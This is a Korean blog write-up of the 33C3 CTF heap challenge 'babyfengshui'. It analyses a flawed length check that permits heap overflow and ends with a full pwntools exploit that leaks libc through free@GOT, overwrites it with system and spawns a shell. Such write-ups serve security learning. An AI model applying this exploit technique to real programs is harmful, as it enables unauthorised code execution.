상세 컨텐츠

본문 제목

[33c3 CTF] babyfengshui (Heap Feng Shui)

SYSTEM HACKING/CTF, etc

by koharin 2020. 2. 28. 17:46

본문

728x90
반응형

# Protection Tech

 

 

# file

 


# code

 

1. add user

 

 

 

- size 크기만큼 malloc해서 그 heap 주소를 desc 변수에 저장, 초기화

- 0x80 크기만큼 malloc해서 UserInfo 변수에 heap 주소 저장. 초기화

- UserInfo 구조체에서 desc 영역에 desc에 저장된 값 저장.

- UserList 전역변수에 UserInfo 값 저장

- setName 함수로 UserList[count] + 4 영역에 124바이트만큼 name 입력받음.

- update 함수로 desc 영역에 값 저장.

 

 

2) delete

 

 

- index 값이 count보다 작고, UserList[index] 값이 0이 아닌 경우

- UserList[index] , UserList[index]->desc, UserList[index] 영역 해제

- UserList[index] 영역에 0 저장

 

 

3) display

 

 

- indexcount보다 작고 UserList[index]0이 아닌 경우

- UserList[index]+4, name 출력

- UserList[index], desc 출력

 

4) Update

 

 

 

- indexcount보다 작고 UserList[index]0이 아닌 경우

- desc 영역에 입력할 문자열 길이 length를 다시 입력받음

- userList[index] >= UserList[index]-4, desc 영역에 입력할 값이 userInfo 영역 침범하는지 확인

=> 취약점 발생 !!! : userInfo 영역이 desc 영역 뒤에 반드시 할당되는 보장 없음

 

# Heap Layout

 

Heap Feng Shui : heap의 레이아웃을 조정함으로써 Exploit에 영향을 줄 수 있는 Heap 레이아웃 형태

 

- add user description, userInfo 영역 할당됨

 

- 처음 등록된 유저 삭제 시 할당된 heap 영역이 해제되어 fastbin[0], unsortedbin(136) 공간 생성됨

 

- 새로운 유저 등록 시 description 영역으로 unsortedbin(136) 영역에 할당받음

=> 해당 유저가 할당받은 desc 영역과 USER *userInfo 영역 사이에 다른 유저 정보가 위치하게 된다.

 

- text length 값으로 유저 생성 시 입력한 description 영역 크기보다 큰 값 입력해도

“userList[index] >= UserList[index] 4”

조건 우회 가능, heap overflow 가능

 

 

Lazenca


# process

 

1) add 3개 유저

- 마지막 유저의 desc, name에는 “/bin/sh” 저장

 

 

 

2) free(0)

- unsorted bin에 등록됨

 

3) add user

- desc 크기를 120으로 하면 unsorted bin에 등록된 것 할당해줌.

- 1 UserInfo->descfree got 넣음 (Heap overflow)

- 주의 : name 크기는 desc 크기 정도이어야만 desc 페이로드 넣을 수 있었다.

 

 

4) libc leak

-1번의 UserInfo->desc free got가 저장되어 있으므로 display 메뉴에서 출력

- system 함수 주소 구함(ASLR)

 

 

5) GOT overwrite

- 1UserInfo->desc에 들어가있는 free@gotupdate 함수로 system 함수 값을 입력

 

 

 

free@got에 system 함수 주소가 적힌 것 확인할 수 있다.

 

6) free(2)

- freedesc“/bin/sh” 넣어놨으므로 freesystem으로 덮혀서 system(“/bin/sh”)가 실행되게 된다.


# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

context.log_level = 'debug'
p = process("./babyfengshui")
gdb.attach(p)
elf = ELF("./babyfengshui")
#libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = elf.libc
free_got = elf.got['free']
binsh = "/bin/sh\x00"

def add(size, name, length, desc):
    p.sendlineafter("Action: ", '0')
    p.sendlineafter("size of description: ", str(size))
    p.sendlineafter("name: ", name)
    p.sendlineafter("text length: ", str(length))
    p.sendlineafter("text: ", desc)

def delete(index):
    p.sendlineafter("Action: ", '1')
    p.sendlineafter("index: ", str(index))

def display(index):
    p.sendlineafter("Action: ", '2')
    p.sendlineafter("index: ", str(index))

def update(index, length, desc):
    p.sendlineafter("Action: ", '3')
    p.sendlineafter("index: ", str(index))
    p.sendlineafter("text length: ", str(length))
    p.sendlineafter("text: ", desc)

add(10, 'A'*10, 10, 'B'*10)
add(10, 'C'*10, 10, 'D'*10)
add(10, 'E'*10, len(binsh), binsh)

# 0 chunk -> unsorted bin
delete(0)

# heap overflow
pay = 'B'*152+p32(free_got)
add(120, 'A'*120, len(str(pay)), pay)

# libc leak
display(1)
p.recvuntil("description: ")
free = u32(p.recv(4))
libcBase = free - libc.symbols['free']
system = libcBase + 0x3ada0
log.info("free : "+hex(free))
log.info("libcBase : "+hex(libcBase))
log.info("system : "+hex(system))

#gdb.attach(p)
# GOT overwrite : free#got <- system 
update(1, 4, p32(system))

# system("/bin/sh")
delete(2)

p.interactive()

 

# exploit 

 

 


 

728x90
반응형

관련글 더보기